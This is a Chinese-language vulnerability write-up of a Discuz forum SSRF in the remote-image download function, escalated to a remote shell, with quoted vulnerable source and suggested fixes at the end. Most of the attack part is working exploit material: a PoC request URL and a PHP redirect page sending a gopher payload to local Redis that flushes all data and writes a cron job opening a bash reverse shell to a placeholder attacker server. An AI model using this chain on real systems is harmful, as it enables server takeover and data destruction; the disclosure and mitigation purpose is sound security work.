SSRF到GET SHELL
wooyun:wooyun-2015-0151179
访问:
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1] http://23.88.58.149/1.jpg[/img]&inajax=1&fid=2&wysiwyg=1&formhash=ead1f9a6
需要带formhash,也可以post方式请求。
discuz有个远程下载图片的功能。虽然有些版本编辑器没有显示远程下载图片的按钮,但是可能也存在这个方法。可以直接通过poc进行验证
可以利用301跳转绕过discuz waf的限制,成为一个无限制的curl ssrf。
source/module/forum/forum_ajax.php
374行:
} elseif($_GET['action'] == 'downremoteimg') { $_GET['message'] = str_replace(array("/r", "/n"), array($_GET['wysiwyg'] ? '<br />' : '', "//n"), $_GET['message']); preg_match_all("//[img/]/s*([^/[/</r/n]+?)/s*/[//img/]|/[img=/d{1,4}[x|/,]/d{1,4}/]/s*([^/[/</r/n]+?)/s*/[//img/]/is", $_GET['message'], $image1, PREG_SET_ORDER); preg_match_all("//<img.+src=('|/"|)?(.*)(//1)([/s].*)?/>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER); $temp = $aids = $existentimg = array(); if(is_array($image1) && !empty($image1)) { foreach($image1 as $value) { $temp[] = array( '0' => $value[0], '1' => trim(!empty($value[1]) ? $value[1] : $value[2]) ); } } if(is_array($image2) && !empty($image2)) { foreach($image2 as $value) { $temp[] = array( '0' => $value[0], '1' => trim($value[2]) ); } } require_once libfile('class/image'); if(is_array($temp) && !empty($temp)) { $upload = new discuz_upload(); $attachaids = array(); foreach($temp as $value) { $imageurl = $value[1]; $hash = md5($imageurl); if(strlen($imageurl)) { $imagereplace['oldimageurl'][] = $value[0]; if(!isset($existentimg[$hash])) { $existentimg[$hash] = $imageurl; $attach['ext'] = $upload->fileext($imageurl); if(!$upload->is_image_ext($attach['ext'])) { continue; } $content = ''; if(preg_match('/^(http:////|/.)/i', $imageurl)) { $content = dfsockopen($imageurl);
imageurl最后进入dfsockopen。跟进dfsockopen.
定位到最后发出请求的函数:
source/function/function_filesock.php
function _dfsockopen($url, $limit = 0, $post = '', $cookie = '', $bysocket = FALSE, $ip = '', $timeout = 15, $block = TRUE, $encodetype = 'URLENCODE', $allowcurl = TRUE, $position = 0, $files = array()) { $return = ''; $matches = parse_url($url); $scheme = $matches['scheme']; $host = $matches['host']; $path = $matches['path'] ? $matches['path'].($matches['query'] ? '?'.$matches['query'] : '') : '/'; $port = !empty($matches['port']) ? $matches['port'] : ($scheme == 'http' ? '80' : ''); $boundary = $encodetype == 'URLENCODE' ? '' : random(40); if($post) { if(!is_array($post)) { parse_str($post, $post); } _format_postkey($post, $postnew); $post = $postnew; } if(function_exists('curl_init') && function_exists('curl_exec') && $allowcurl) { $ch = curl_init(); $httpheader = array(); if($ip) { $httpheader[] = "Host: ".$host; } if($httpheader) { curl_setopt($ch, CURLOPT_HTTPHEADER, $httpheader); } curl_setopt($ch, CURLOPT_URL, $scheme.'://'.($ip ? $ip : $host).($port ? ':'.$port : '').$path); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_HEADER, 1);
使用curl来发出http。而curl支持非常多的协议。
编写一个跳转页面:
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1%20*%20*%20*%20*%20bash%20-i%20>&%20/dev/tcp/{your_server}/{your_server_listen_port}%200>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a")
?>
poc:
forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://127.0.0.1:8054/test/301.php?1.jpg[/img]&inajax=1&fid=2&wysiwyg=1&formhash=ead1f9a6&posttime=1476777238&wysiwyg=1&subject=test&unused%5B%5D=1
服务器本地监听6379端口,可以看到gopher协议成功请求。
目前discuz没有修复这个问题。不过经过测试,discuz官方论坛是关闭了这个功能的。
1,建议直接关闭远程下载图片这个功能。
2,在_dfsockopen方法内增加
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
将协议限制为http/https可以降低这个SSRF的危害。